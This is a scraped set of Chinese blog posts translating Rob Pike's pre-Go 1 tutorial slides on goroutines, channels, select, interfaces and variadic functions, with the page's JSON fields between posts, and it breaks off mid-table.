当从最外层函数返回，或执行到结尾处时，goroutine退出。\ngoroutines可以并行地在不同CPU上执行，共享内存。\n你无需担心栈大小。\n栈 在gccgo中，至少目前goroutines就是pthreads。在6g中，goroutines采用基于线程的多路复用技术，因此它们的代价更低廉。\n无论是上面哪个实现，栈都很小(几KB)，可以根据需要增长。因此goroutines使用很少的内存。你可以创建很多goroutines，它们还可以动态拥有很大的栈。\n程序员无需考虑栈大小相关话题。在Go中，这种考虑甚至不应该出现。\n调度 Goroutine多路复用系统线程。当一个goroutine执行了一个阻塞的系统调用时，其他goroutine不会不阻塞。\n计划后续实现CPU绑定的goroutines，不过目前用6g如果你想要用户层级别的并行，你必须设置环境变量GOMAXPROCS或调用runtime.GOMAXPROCS(n)。\nGOMAXPROCS告诉运行时调度器有多少个用户空间goroutine即将同时执行，理想情况下在不同的CPU核上。\n*gccgo总是为每个goroutine单独分配一个线程执行。\n并发与通信：Channels Go中的Channel 除非两个goroutine可以通信，否则它们无法协作。\nGo中有一个名为channel的类型，提供通信和同步能力。\nGo中还提供一些特殊的基于channel的控制结构，使得编写并发程序更加容易。\nChannel类型 该类型最简单形式：\nchan elementType\n通过这个类型的值，你可以发送和接收elementType类型的元素。\nChannel是引用类型，这意味着如果你将一个chan变量赋值给另外一个，则这两个变量访问的是相同的channel。同样，这也意味着可以用make分配一个channel：\nvar c = make(chan int)\n通信操作符：\u0026lt;- 箭头指示数据流向。\n作为一个二元操作符，\u0026lt;-将值从右侧发送到左侧的channel中：\nc := make(chan int)\nc \u0026lt;- 1 // 向c发送1\n作为前缀一元操作符，\u0026lt;- 从一个channel中接收数据：\nv = \u0026lt;-c // 从c中接收数据，赋值给v\n\u0026lt;-c // 接收数据，丢弃\ni := \u0026lt;-c // 接收值，用于初始化i\n语义 默认情况下，通信是同步的。(我们后续将讨论异步通信)。这意味着：\nA在一个channel上的发送操作会阻塞，直到该channel上有一个接收者就绪。 在一个channel上到的接收操作会阻塞，直到该channel上有一个发送者就绪。 因此通信是同步的一种形式：两个通过channel交换数据的goroutine在通信的时刻同步。\n让我们泵一些数据吧 func pump(ch chan int) {\nfor i := 0; ; i++ { ch \u0026lt;- i }\n}\nch1 := make(chan int)\ngo pump(ch1) // pump挂起; 我们运行\nfmt.Println(\u0026lt;-ch1) // 打印 0\n现在我们启动一个循环接收者：\nfunc suck(ch chan int) {\nfor { fmt.Println(\u0026lt;-ch) }\n}\ngo suck(ch1) // 大量数字出现\n你仍可以溜进去，抓取一个值：\nfmt.Println(\u0026lt;-ch1) // 输出：3141159\n返回channel的函数 在前面的例子中，pump像一个生成器，喷涌出值。但在分配channel等方面做了很多工作。让我们将其打包到一个返回channel的函数中：\nfunc pump() chan int {\nch := make(chan int)\ngo func() {\nfor i := 0; ; i++ { ch \u0026lt;- i }\n}()\nreturn ch\n}\nstream := pump()\nfmt.Println(\u0026lt;-stream)// 打印 0\n\u0026ldquo;返回channel的函数\u0026quot;是Go中的一个重要的惯用法。\n到处都是返回channel的函数 我这里不再重复那些你可以从其他地方找到的知名例子。这里有些可以了解一下：\nprime sieve: 在语言规范以及教程中。\nDoug McIlroy的Power系列论文：http://plan9.bell-labs.com/who/rsc/thread/squint.pdf\n这个程序的一个Go版本在测试套件中：http://golang.org/test/chan/powser1.go\nRange和Channel for循环的range子句接收channel作为一个操作数，在这种情况下，for循环迭代处理从channel接收到的值。我们来重写pump函数；这里是suck的重写，让它也启动一个goroutine：\nfunc suck(ch chan int) {\ngo func() {\nfor v := range ch { fmt.Println(v) }\n}()\n}\nsuck(pump()) // 现在不再阻塞\n关闭一个Channel range是如何知道何时channel上的数据传输结束了呢？发送者调用一个内置函数close：\nclose(ch)\n接收者使用\u0026quot;comma ok\u0026quot;测试发送者是否关闭了channel：\nval, ok:= \u0026lt;- ch\n当结果为(value, true)，说明依然有数据；一旦channel关闭，数据流干，结果将会是(zero, false)。\n在一个Channel上使用Range 在一个channel上使用range，诸如：\nfor value := range \u0026lt;-ch {\nuse(value)\n}\n等价于：\nfor {\nvalue, ok := \u0026lt;-ch\nif !ok {\nbreak\n}\nuse(value)\n}\nClose 关键点：\n只有发送者可以调用close。\n只有接收者可以询问是否channel被关闭了。\n只有在获取值的同时询问(避免竞争)\n只有在有必要通知接收者不会再有数据的时候才调用close。\n大多数情况下，不需要用close；它与关闭一个文件没有可比性。\n不管怎样，channel是可以垃圾回收的。\nChannel的方向性 一个channel变量的最简单形式是一个非缓冲(同步的)值，该值可以用于进行发送和接收。\n一个channel类型可以被指定为只发或只收：\nvar recvOnly \u0026lt;-chan int\nvar sendOnly chan\u0026lt;- int\nChannel的方向性(2) 所有Channel创建时都是双向的，但我们可以将它们赋值给带方向性的channel变量。从类型安全性角度考虑，对于函数内的实例非常有用：\nfunc sink(ch \u0026lt;-chan int) {\nfor { \u0026lt;-ch }\n}\nfunc source(ch chan\u0026lt;- int) {\nfor { ch \u0026lt;- 1 }\n}\nc := make(chan int)//双向的\ngo source(c)\ngo sink(c)\n同步的Channel 同步的Channel是非缓冲的。发送动作不会完成，直到一个接收者接收这个值。\nc := make(chan int)\ngo func() {\ntime.Sleep(60*1e9)\nx := \u0026lt;-c\nfmt.Println(\u0026ldquo;received\u0026rdquo;, x)\n}()\nfmt.Println(\u0026ldquo;sending\u0026rdquo;, 10)\nc \u0026lt;- 10\nfmt.Println(\u0026ldquo;sent\u0026rdquo;, 10)\n输出：\nsending 10 (立即发生)\nsent 10 (60秒后，这两行出现)\nreceived 10\n异步的Channel 通过告知make缓冲中元素的数量，我们可以创建一个带缓冲的、异步的channel。\nc := make(chan int, 50)\ngo func() {\ntime.Sleep(60*1e9)\nx := \u0026lt;-c\nfmt.Println(\u0026ldquo;received\u0026rdquo;, x)\n}()\nfmt.Println(\u0026ldquo;sending\u0026rdquo;, 10)\nc \u0026lt;- 10\nfmt.Println(\u0026ldquo;sent\u0026rdquo;, 10)\n输出：\nsending 10 (立刻发生)\nsent 10(现在)\nreceived 10 (60秒后)\n缓冲不是类型的一部分 注意缓冲的大小甚至其自身都不是channel类型的一部分，只是值的一部分。因此下面的代码虽危险，但合法：\nbuf = make(chan int, 1)\nunbuf = make(chan int)\nbuf = unbuf\nunbuf = buf\n缓冲是一个值的属性，而不是类型的。\nSelect select是Go中的一个控制结构，类似于用于通信的switch语句。每个case必须是一个通信操作，要么是send要么是receive。\nci, cs := make(chan int), make(chan string)\nselect {\ncase v := \u0026lt;-ci:\nfmt.Printf(\u0026ldquo;received %d from ci\\n\u0026rdquo;, v)\ncase v := \u0026lt;-cs:\nfmt.Printf(\u0026ldquo;received %s from cs\\n\u0026rdquo;, v)\n}\nSelect随机执行一个可运行的case。如果没有case可运行，它将阻塞，直到有case可运行。一个默认的子句应该总是可运行的。\nSelect语义 快速一览：\n- 每个case都必须是一个通信(可能是:=)\n- 所有channel表达式都会被求值\n- 所有被发送的表达式都会被求值\n- 如果任意某个通信可以进行，它就执行；其他被忽略。\n- 如果有多个case都可以运行，Select会随机公平地选出一个执行。其他不会执行。\n- 否则：\n– 如果有default子句，则执行该语句。\n– 如果没有default字句，select将阻塞，直到某个通信可以运行；Go不会重新对channel或值进行求值。\n随机bit生成器 幼稚但很有说明性的例子：\nc := make(chan int)\ngo func() {\nfor {\nfmt.Println(\u0026lt;-c)\n}\n}()\nfor {\nselect {\ncase c \u0026lt;- 0: //没有语句，没有fallthrough\ncase c \u0026lt;- 1:\n}\n}\n测试可通信性 一个通信是否可以进行，而不阻塞？一个带default字句的select可以告诉我们：\nselect {\ncase v := \u0026lt;-ch:\nfmt.Println(\u0026ldquo;received\u0026rdquo;, v)\ndefault:\nfmt.Println(\u0026ldquo;ch not ready for receive\u0026rdquo;)\n}\n如果没有其他case可以运行，那default子句将被执行，因此这对于非阻塞接收是一个惯用法；非阻塞发送显然也可以这么做。\n超时 一个通信可以在一个给定的时间内成功完成么？time包包含了after函数：\nfunc After(ns int64) \u0026lt;-chan int64\n在指定时间段之后，它向返回的channel中传递一个值(当前时间)。\n在select中使用它以实现超时：\nselect {\ncase v := \u0026lt;-ch:\nfmt.Println(\u0026ldquo;received\u0026rdquo;, v)\ncase \u0026lt;-time.After(30*1e9):\nfmt.Println(\u0026ldquo;timed out after 30 seconds\u0026rdquo;)\n}\n多路复用(multiplexing) channel是原生值，这意味着他们也能通过channel发送。这个属性使得编写一个服务类多路复用器变得十分容易，因为客户端在提交请求时可一并提供用于回复应答的channel。\nchanOfChans := make(chan chan int)\n或者更典型的如：\ntype Reply struct { … }\ntype Request struct {\narg1, arg2 someType\nreplyc chan *Reply\n}\n多路复用服务器 type request struct {\na, b int\nreplyc chan int\n}\ntype binOp func(a, b int) int\nfunc run(op binOp, req *request) {\nreq.replyc \u0026lt;- op(req.a, req.b)\n}\nfunc server(op binOp, service \u0026lt;-chan *request) {\nfor {\nreq := \u0026lt;-service // 请求到达这里\ngo run(op, req) // 不等op\n}\n}\n启动服务器 使用\u0026quot;返回channel的函数\u0026quot;惯用法来为一个新服务器创建一个channel：\nfunc startServer(op binOp) chan\u0026lt;- *request {\nservice := make(chan *request)\ngo server(op, req)\nreturn service\n}\nadderChan := startServer(\nfunc(a, b int) int { return a + b }\n)\n客户端 在教程中有个例子更为详尽，但这里是一个变体：\nfunc (r *request) String() string {\nreturn fmt.Sprintf(\u0026quot;%d+%d=%d\u0026rdquo;,\nr.a, r.b, \u0026lt;-r.replyc)\n}\nreq1 := \u0026amp;request{7, 8, make(chan int)}\nreq2 := \u0026amp;request{17, 18, make(chan int)}\n请求已经就绪，发送它们：\nadderChan \u0026lt;- req1\nadderChan \u0026lt;- req2\n可以以任何顺序获得结果；r.replyc多路分解：\nfmt.Println(req2, req1)\n停掉 在多路复用的例子中，服务将永远运行下去。要将其干净地停掉，可通过一个channel发送信号。下面这个server具有相同的功能，但多了一个quit channel：\nfunc server(op binOp, service \u0026lt;-chan *request,\nquit \u0026lt;-chan bool) {\nfor {\nselect {\ncase req := \u0026lt;-service:\ngo run(op, req) // don\u0026rsquo;t wait for it\ncase \u0026lt;-quit:\nreturn\n}\n}\n}\n启动服务器 其余代码都相似，只是多了个channel：\nfunc startServer(op binOp) (service chan\u0026lt;- *request,\nquit chan\u0026lt;- bool) {\nservice = make(chan *request)\nquit = make(chan bool)\ngo server(op, service, quit)\nreturn service, quit\n}\nadderChan, quitChan := startServer(\nfunc(a, b int) int { return a + b }\n)\n停掉：客户端 只有当准备停掉服务端的时候，客户端才会受到影响：\nreq1 := \u0026amp;request{7, 8, make(chan int)}\nreq2 := \u0026amp;request{17, 18, make(chan int)}\nadderChan \u0026lt;- req1\nadderChan \u0026lt;- req2\nfmt.Println(req2, req1)\n所有都完成后，向服务器发送信号，让其退出：\nquitChan \u0026lt;- true\n链 package main\nimport (\u0026ldquo;flag\u0026rdquo;; \u0026ldquo;fmt\u0026rdquo;)\nvar nGoroutine = flag.Int(\u0026ldquo;n\u0026rdquo;, 100000, \u0026ldquo;how many\u0026rdquo;)\nfunc f(left, right chan int) { left \u0026lt;- 1 + \u0026lt;-right }\nfunc main() {\nflag.Parse()\nleftmost := make(chan int)\nvar left, right chan int = nil, leftmost\n\u0015\nfor i := 0; i \u0026lt; *nGoroutine; i++ {\nleft, right = right, make(chan int)\ngo f(left, right)\n}\n\u0015\nright \u0026lt;- 0 // bang!\n\u0015\nx := \u0026lt;-leftmost // 等待完成\nfmt.Println(x) // 100000\n}\n例子：Channel作为缓存 var freeList = make(chan *Buffer, 100)\nvar serverChan = make(chan *Buffer)\nfunc server() {\nfor {\nb := \u0026lt;-serverChan // 等待做work\nprocess(b) // 在缓存中处理请求\nselect {\ncase freeList \u0026lt;- b: // 如果有空间，重用缓存\ndefault: // 否则，丢弃它\n}\n}\n}\nfunc client() {\nfor {\nvar b *Buffer\nselect {\ncase b = \u0026lt;-freeList: // 如果就绪，抓取一个\ndefault: b = new(Buffer) // 否则，分配一个\n}\nload(b)// 读取下一个请求放入b中\nserverChan \u0026lt;- b // 将请求发给server.\n}\n}\n并发 并发相关话题 许多并发方面，当然，Go一直在尽力做好它们。诸如Channel发送和接收是原子的。select语句也是缜密定义和实现的等。\n但goroutine在共享内存中运行，通信网络可能死锁，多线程调试器糟糕透顶等等。\n接下来做什么？\nGo给予你原生的 不要用你在使用C或C++或甚至是Java时的方式去编程。\nchannel给予你同步和通信的能力，并且使得它们很强大，但也可以很容易知道你是否可以很好的使用它们。\n规则是：\n不要通过共享内存通信，相反，通过通信共享内存。\n特有的通信行为保证了同步！\n模型 例如，使用一个channel发送数据到一个专职服务goroutine。如果同一时刻只有一个goroutine拥有指向数据的指针，那谈不上什么并发。\n这是我们极力推荐的服务端编程模型，至少是对旧的\u0026quot;每个客户端一个线程\u0026quot;的泛化。它自从20世纪80年代就开始使用了，它工作的很好。\n内存模型 那关于同步和共享内存的令人生厌的细节在：\nhttp://golang.org/doc/go_mem.html\n但如果你遵循我们的方法，你很少需要理解那些内容。\n","permalink":"https://tonybai.com/2012/08/28/the-go-programming-language-tutorial-part3/","summary":"\u003cp\u003e本文译自\u003ca href=\"http://en.wikipedia.org/wiki/Rob_Pike\"\u003eRob Pike\u003c/a\u003e的\u003ca href=\"http://golang.org/\"\u003eGo语言\u003c/a\u003ePPT教程 – \u003ca href=\"http://golang.org/doc/GoCourseDay3.pdf\"\u003e\u0026ldquo;The Go Programming Language Part3\u003c/a\u003e(updated June 2011)\u0026quot;。由于该教程的最新更新时间早于\u003ca href=\"http://golang.org/doc/go1.html\"\u003eGo 1\u003c/a\u003e版本发布，因此该PPT中的一些内容与Go 1语言规范略有差异，到时我会在相应的地方做上注解。\u003c/p\u003e","title":"Go程序设计语言(三)"},{"content":"重写工作方式正如字段一样。\ntype NamedPoint struct {\nPoint\nname string\n}\nfunc (n *NamedPoint) Abs() float64 {\nreturn n.Point.Abs() * 100.\n}\nn := \u0026amp;NamedPoint{Point{3, 4}, \u0026ldquo;Pythagoras\u0026rdquo;}\nfmt.Println(n.Abs()) // prints 500\n当然，你可以有多个不同类型的匿名字段 – 一个简单版本的多继承。但冲突解决规则让事情保持简单。\n另外一个例子 一个更具吸引力的使用匿名字段的例子。\ntype Mutex struct { … }\nfunc (m *Mutex) Lock() { … }\ntype Buffer struct {\ndata [100]byte\nMutex // 在Buffer中不需为第一个字段\n}\nvar buf = new(Buffer)\nbuf.Lock() // == buf.Mutex.Lock()\n注意：Lock的接收者是Mutex字段的地址。而不是外围的结构体。（对比子类或Lisp的mix-ins）\n其他类型 方法不仅适用于结构体。他们可以被定义为用于任何非指针类型。\n但这个类型必须在你的包中定义。你不能为int编写方法，但你可以声明一个新的int类型，并为其添加方法。\ntype Day int\nvar dayName = []string {\n\u0026ldquo;Monday\u0026rdquo;, \u0026ldquo;Tuesday\u0026rdquo;, \u0026ldquo;Wednesday\u0026rdquo;, …\n}\nfunc (day Day) String() string {\nreturn dayName[day]\n}\n其他类型 现在我们有一个类似枚举的类型，它知道如何打印自己。\nconst (\nMonday Day = iota\nTuesday\nWednesday\n// …\n)\nvar day = Tuesday\nfmt.Printf(\u0026quot;%q\u0026quot;, day.String()) // 打印 \u0026ldquo;Tuesday\u0026rdquo;\nPrint认识string方法 技术上后续会交待，fmt.Print和相近函数可以识别出实现了String方法的值，就像前面定义的类型Day。通过调用这个方法，这些值可以被自动格式化。\n于是：\nfmt.Println(0, Monday, 1, Tuesday)\n输出0 Monday 1 Tuesday。\nPrintln可以区分出普通0和值为0的Day类型值。\n因此，为你的类型定义一个String方法，这样后续无需再进行其他工作，你的类型就可以获得优雅的输出格式。\n方法和字段的可见性 回顾：\n在可见性方面，Go与C++有着很大不同。\nGo是包作用域，而C++则是文件作用域。 拼写方式决定了是导出的/本地的(公有的/私有的)。 同一包中的结构体有权访问另一个结构体的字段和方法。 本地类型可以导出其字段和方法。 没有真正意义上的子类，没有\u0026quot;protected\u0026quot;符号。 这些规则看起来在实际当中工作良好。\n接口 离近点儿观察 我们接下来了解一下Go语言最不同寻常的一点：接口。\n请先将你的成见留在门外。\n简介 到目前为止，所有我们检视的类型都是具体的：它们实现了一些东西。\n还有一个类型需要考虑：接口类型。它是完全抽象的；它不包含任何实现；它提供了一些一个实现必须实现的属性。\n接口在概念上非常接近Java，Java中有一个interface类型，但Go的“接口值”概念是非常新颖的。\n一个接口的定义 在Go中单词interface似乎有些使用过度了：涉及接口的有接口概念、接口类型以及接口值。\n定义：\n一个接口是一组方法的集合。\n由一个具体类型，如一个结构体实现的方法形成了那个类型的接口。\n例子 之前我们见过这个简单的例子：\ntype Point struct { x, y float64 }\nfunc (p *Point) Abs() float64 { … }\n类型Point的接口拥有方法：\nAbs() float64\n注意其方法不是：\nfunc (p *Point) Abs() float64\n因为接口不应带有接收者的限定。\n我们将Point嵌入一个新类型中：NamePoint。NamePoint将具有相同的接口。\n接口类型 一个接口类型是一个接口的规格，一组由其他类型来实现的方法。这里是一个简单的例子，只包含一个方法：\ntype AbsInterface interface {\nAbs() float64 // 接收者是隐式的\n}\n这是由Point实现的接口的定义，或者用我们的术语来讲，Point实现了AbsInterface。\n也可以说成，NamedPoint和Point3实现了AbsInterface方法。\n方法写在接口声明内部。\n一个例子 type MyFloat float64\nfunc (f MyFloat) Abs() float64 {\nif f \u0026lt; 0 { return float64(-f) }\nreturn f\n}\nMyFloat实现了AbsInterface接口，即便float64没有实现。\n顺便：MyFloat不是float64的\u0026quot;装箱\u0026quot;类型；它的表示与float64相同。\n多对多 一个接口可以被任意个类型所实现。ABsInterface可以被任何拥有签名如Abs() float64的类型实现，不管该类型是否有其他方法。\n一个类型可以实现任意个接口。Point至少实现了下面两个：\ntype AbsInterface interface { Abs() float64 }\ntype EmptyInterface interface { }\n并且，也许更多，取决于它的方法。\n每个类型都实现了EmptyInterface。这将会非常有用。\n接口值 一旦一个变量被声明为接口类型，它就可以被赋予任何实现了该接口的类型的值。\nvar ai AbsInterface\npp := new(Point)\nai = pp // OK：*Point中有Abs方法\nai = 7 // 编译错误, float64没有Abs方法\nai = MyFloat(-7.) // OK：MyFloat有Abs方法\nai = \u0026amp;Point{ 3, 4 }\nfmt.Printf(ai.Abs())\n// 方法调用\n输出：5\n注意：ai不是指针，它是个接口值。\n在内存中 ai不是一个指针！它是一个多字(multiword)数据结构。\nai: receiver value | method table ptr\n不同时刻，它的值和类型不同：\nai = \u0026amp;Point{3,4} (*Point在地址0xff1234)\n0xff1234| ———–\u0026gt; (*Point) Abs() float64\nai = MyFloat(-7.):\n-7. | ——–\u0026gt; (MyFloat) Abs() float64\n三个重要事实 接口定义了一组方法。他们是纯洁的且抽象的：没有实现，没有数据字段。Go在接口和实现之间具有清晰的区分。 接口值只是值。它们包含任何实现了接口所有方法的具体值。那些具体值可以是也可以不是指针。 类型通过实现方法来实现接口。它们无需声明它们要做这些事情。例如，每个类型都实现了空接口interface{}。 例子：io.Writer 下面是fmt.Fprintf的实际签名：\nfunc Fprintf(w io.Writer, f string, a … interface{}) (n int, error os.Error)\n它不是写入一个文件，而是写入类型为io.Writer的东西中。Writer定义在io包中：\ntype Writer interface {\nWrite(p []byte) (n int, err os.Error)\n}\nFprintf因此可以用于写入任何具有Write方法的类型，包括文件、管道、网络链接等。\n缓冲I/O \u0026hellip;一个写缓冲。下面来自于bufio包：\ntype Writer struct { … }\nbufio.Writer实现了经典的Write方法。\nfunc (b *Writer) Write(p []byte) (n int, err os.Error)\n它还拥有一个工厂方法：传入一个io.Writer，它将以bufio.Writer的形式返回一个缓冲io.Writer：\nfunc NewWriter(wr io.Writer) (b *Writer, err os.Error)\n当然，os.File也实现了Writer。\n放在一起 import (\n\u0026ldquo;bufio\u0026rdquo;; \u0026ldquo;fmt\u0026rdquo;; \u0026ldquo;os\u0026rdquo;\n)\nfunc main() {\n// 无缓冲\nfmt.Fprintf(os.Stdout, \u0026ldquo;%s, \u0026ldquo;, \u0026ldquo;hello\u0026rdquo;)\n// 带缓冲: os.Stdout实现了io.Writer\nbuf := bufio.NewWriter(os.Stdout)\n// 现在buf也带缓冲\nfmt.Fprintf(buf, \u0026ldquo;%s\\n\u0026rdquo;, \u0026ldquo;world!\u0026rdquo;)\nbuf.Flush()\n}\n缓冲可以适合任何Writes的对象。\n是不是感觉特像Unix管道啊？可组合性非常强大；参见crypto包。\nio包中的其他公共接口 io包拥有：\nReader\nWriter\nReadWriter\nReadWriteCloser\n这些都是程式化的接口，不过很显然它们捕捉到了任何实现了其名字含义的函数的功能。\n这就是为何我们拥有一个带缓冲的I/O包的原因，其实现与I/O自身的实现分开：它同时接受以及提供接口值。\n比较 从C++角度去看，接口类型像一个纯抽象类，指定方法，但不实现。\n从Java角度去看，接口类型更像是一个Java接口。\n然而，在Go中，有一个最大的不同：一个类型不需要声明它要实现的接口，也不需要继承那些接口。如果它实现了相同的方法，它就实现了接口。\n其他差异会变得显而易见了。\n匿名字段也适用 type LockedBufferedWriter struct {\nMutex // has Lock and Unlock methods\nbufio.Writer // has Write method\n}\nfunc (l *LockedBufferedWriter) Write(p []byte)\n(nn int, err os.Error) {\nl.Lock()\ndefer l.Unlock()\nreturn l.Writer.Write(p) // inner Write()\n}\nLockedBufferedWriter实现了io.Writer，但是通过匿名Mutex类型实现的。\ntype Locker interface { Lock(); Unlock() }\n例子：HTTP服务 type Handler interface {\nServeHTTP(ResponseWriter, *Request)\n}\n这是一个在HTTP server包中定义的接口。要提供http服务，可定义一个类型，实现这个接口，连接到服务器(细节省略了)。\ntype Counter struct {\nn int // or could just say type Counter int\n}\nfunc (ctr *Counter) ServeHTTP(w http.ResponseWriter, req *http.Request) {\nfmt.Fprintf(w, \u0026ldquo;counter = %d\\n\u0026rdquo;, ctr.n)\n\u0015\nctr.n++\n}\n现在我们定义一个类型来实现ServeHTTP：\ntype HandlerFunc func(http.ResponseWriter, *http.Request)\nfunc (f HandlerFunc) ServeHTTP(w http.ResponseWriter,\nreq *http.Request) {\n\u0015\nf(w, req) // 接收者是一个函数，调用它\n}\n将函数转换为从属的方法，实现该接口：\nvar Handle404 = HandlerFunc(notFound)\n容器(container)\u0026amp; 空接口 vector实现的梗概。(实际中，倾向于用原始slice替换，但这是有益处的)\ntype Element interface {}\n// Vector本身就是容器.\ntype Vector []Element\n// At()返回第i个元素.\nfunc (p *Vector) At(i int) Element {\nreturn p[i]\n}\nVector可以存储任何类型的元素，因为任何类型都实现了空接口。(事实上，每个元素也可以是不同类型)\n类型断言 一旦你像一个Vector中存入一些数据，这个数据将被当成一个接口值存储起来。需要用“拆箱”的方法将其还原：使用“类型断言”，其语法：\ninterfaceValue.(typeToExtract)\n当类型错误时，断言将失败- 不过看下一slide。\nvar v vector.Vector\nv.Set(0, 1234.) // 作为接口值存储\ni := v.At(0) // 作为interface{}被获取\nif i != 1234. {} // 编译期错误\nif i.(float64) != 1234. {} // OK\nif i.(int) != 1234 {} // 运行期错误\nif i.(MyFloat) != 1234. {} // err: 非MyFloat\n类型断言总是在运行期执行。编译器拒绝注定要失败的断言。\n接口到接口的转换 到目前为止，我们只将常规值与接口值做了相互转换，但接口值还包含相应的方法，这些方法也可以被转换。\n实际上，这与将一个接口值做\u0026quot;拆箱\u0026quot;析出其中的具体值，接着为新接口类型装箱类似。\n转换成功与否取决于底层的值，而不是原先的接口类型。\n接口转换例子 已知：\nvar ai AbsInterface\ntype SqrInterface interface { Sqr() float64 }\nvar si SqrInterface\npp := new(Point) // *Point具有方法Abs, Sqr\nvar empty interface{}\n下面这些都OK:\nempty = pp // 所有类型值都满足empty\nai = empty.(AbsInterface) // 底层值实现Abs接口，否则运行时错误\nsi = ai.(SqrInterface) // *Point实现Sqr()，即使AbsInterface没有\nempty = si // *Point 实现了空集\n// 注意: 静态可检查，因此类型断言不是必要的\n用类型断言测试 可以使用\u0026quot;comma ok\u0026quot;类型断言测试一个值是否是某种类型：\nelem := vector.At(0)\nif i, ok := elem.(int); ok {\nfmt.Printf(\u0026ldquo;int: %d\\n\u0026rdquo;, i)\n} else if f, ok := elem.(float64); ok {\nfmt.Printf(\u0026ldquo;float64: %g\\n\u0026rdquo;, f)\n} else {\nfmt.Print(\u0026ldquo;unknown type\\n\u0026rdquo;)\n}\n用类型switch测试 特殊语法：\nswitch v := elem.(type) { // 字面值关键字 \u0026ldquo;type\u0026rdquo;\ncase int:\nfmt.Printf(\u0026ldquo;is int: %d\\n\u0026rdquo;, v)\ncase float64:\nfmt.Printf(\u0026ldquo;is float64: %g\\n\u0026rdquo;, v)\ndefault:\nfmt.Print(\u0026ldquo;unknown type\\n\u0026rdquo;)\n}\nv实现m()了吗？ 再深入一步，可以测试一个值是否实现了某个方法。\ntype Stringer interface { String() string }\nif sv, ok := v.(Stringer); ok {\nfmt.Printf(\u0026ldquo;implements String(): %s\\n\u0026rdquo;,\nsv.String()) // 注意: sv 不是 v\n}\n这个就是Print等检查某个类型是否可以打印自己的方法。\n反射和… Go提供了一个反射(reflect)包，以支持你通过值探索其类型相关信息。太错综复杂，在这里说不方便。不过我们用Printf来分析一下其参数。\nfunc Printf(format string, args …interface{})(n int, err os.Error)\n在Printf内部，args变量变成一个特定类型的slice，例如[]interface{}。并且Printf使用反射包去解包每个元素以分析其类型。\n下一个小节有更多有关可变个数参数的函数的内容。\n反射和Print 因此，Printf和同族函数知道参数的确切类型。正是因为它们知道参数到底是无符号的或是长整型的，才不需要%u或%ld，只需要%d。\n这也是Println和Print可以在没有格式化字符串参数时也可以优雅打印参数的原因。\nPrintf还有一个%v(\u0026ldquo;值\u0026rdquo;)可以默认打印任何类型的值。\nfmt.Printf(\u0026quot;%v %v %v %v\u0026rdquo;, -1, \u0026ldquo;hello\u0026rdquo;,\n[]int{1,2,3}, uint64(456))\n输出：-1 hello [1 2 3] 456。\n事实上，%v等价于由Print和Println完成格式化工作。\n可变参数函数 可变参数函数：… 变长参数列表用语法…T声明，T是独立参数的类型。这样的参数必须放在参数列表的末尾。在函数中，变参隐式类型为[]T。\nfunc Min(args …int) int {\nmin := int(^uint(0)\u0026raquo;1) // 可能的最大整型值\nfor _, x := range args { // args的类型为 []int\nif min \u0026gt; x { min = x }\n}\nreturn min\n}\nfmt.Println(Min(1,2,3), Min(-27), Min(), Min(7,8,2))\n输出：1 -27 2147483647 2\n将slice转换为可变参数 参数变成了一个slice。如果你要将slice直接传递给函数作为参数该如何做呢？ 在调用时使用…(只适用于可变参数)\n回顾：\nfunc Min(args …int) int\n下面两个调用都返回-2：\nMin(1, -2, 3)\nslice := []int{1, -2, 3}\nMin(slice…) // … 将slice转换为参数\n然而，下面的代码将会引发一个类型错误：\nMin(slice)\n因为slice类型为[]int，而Min的参数必须是独立的int。…是必须的。\nPrintf用于错误输出 我们可以使用…手法包装Printf或其某个变体来创建我们自己的错误处理函数。\nfunc Errorf(fmt string, args …interface{}) {\nfmt.Fprintf(os.Stderr, \u0026ldquo;MyPkg: \u0026ldquo;+fmt+\u0026rdquo;\\n\u0026rdquo;, args…)\nos.Exit(1)\n}\n我们可以这样使用它：\nif err := os.Chmod(file, 0644); err != nil {\nErrorf(\u0026ldquo;couldn\u0026rsquo;t chmod %q: %s\u0026rdquo;, file, err)\n}\n输出(包括换行符)：\nMyPkg: couldn\u0026rsquo;t chmod \u0026ldquo;foo.bar\u0026rdquo;: permission denied\n附加(append) 用于加长slice的内置函数append是支持可变参数的。它的函数签名：\nappend(s []T, x …T) []T\n其中s是个Slice，T是其中元素的类型。它返回一个新slice，即附加了新增元素x的s。\nslice := []int{1, 2, 3}\nslice = append(slice, 4, 5, 6)\nfmt.Println(slice)\n打印： [1 2 3 4 5 6]\n只要可能，append就会在正确的位置上增加slice。\n附加一个slice 如果你想附加一个整个slice，而不是单个元素，我们再一次在调用时使用…。\nslice := []int{1, 2, 3}\nslice2 := []int{4, 5, 6}\nslice = append(slice, slice2…) // …是必须的\nfmt.Println(slice)\n这里例子也打印[1 2 3 4 5 6]。\n","permalink":"https://tonybai.com/2012/08/27/the-go-programming-language-tutorial-part2/","summary":"\u003cp\u003e重写工作方式正如字段一样。\u003c/p\u003e\n\u003cp\u003etype NamedPoint struct {\u003cbr\u003e\n    Point\u003cbr\u003e\n    name string\u003cbr\u003e\n}\u003c/p\u003e\n\u003cp\u003efunc (n *NamedPoint) Abs() float64 {\u003cbr\u003e\n   return n.Point.Abs() * 100.\u003cbr\u003e\n}\u003c/p\u003e\n\u003cp\u003en := \u0026amp;NamedPoint{Point{3, 4}, \u0026ldquo;Pythagoras\u0026rdquo;}\u003cbr\u003e\nfmt.Println(n.Abs()) // prints 500\u003c/p\u003e\n\u003cp\u003e当然，你可以有多个不同类型的匿名字段 – 一个简单版本的多继承。但冲突解决规则让事情保持简单。\u003c/p\u003e","title":"Go程序设计语言(二)"},{"content":"int uint\nint8 uint8 = byte\nint16 uint16\nint32 uint32 float32 complex64\nint64 uint64 float64 complex128\n还有uintptr，一个大小足够存储一个指针的数值。\n这些都是互不相同的类型；int不等于是int32，即便是在一个32位的机器上。\n没有隐式类型转换(不过不要恐慌)。\nBool 普通的布尔类型bool，取值true和false(预定义的常量)。\nif语句等使用布尔表达式。\n指针类型和整型不是布尔类型。\nstring 原生内置的string类型代表不可改变的字节数组，即文本。string类型是用长度定界的，而不是以结尾0终止的。\n字符串字面值是string类型。\n和整型一样不可改变。可重新赋值，但不能修改其值。\n正如\u0026quot;3\u0026quot;总是3，\u0026ldquo;hello\u0026quot;也总是\u0026quot;hello\u0026rdquo;。\nGo语言对字符串操作提供了良好的支持。\n表达式(Expressions) 大多都是类C语言的操作符。\n二元操作符：\n优先级 操作符 备注\n5 * / % \u0026laquo; \u0026raquo; \u0026amp; \u0026amp;^ \u0026amp;^是位清理操作符\n4 + – | ^ ^是异或(xor)\n3 == != \u0026lt; \u0026lt;= \u0026gt; \u0026gt;=\n2 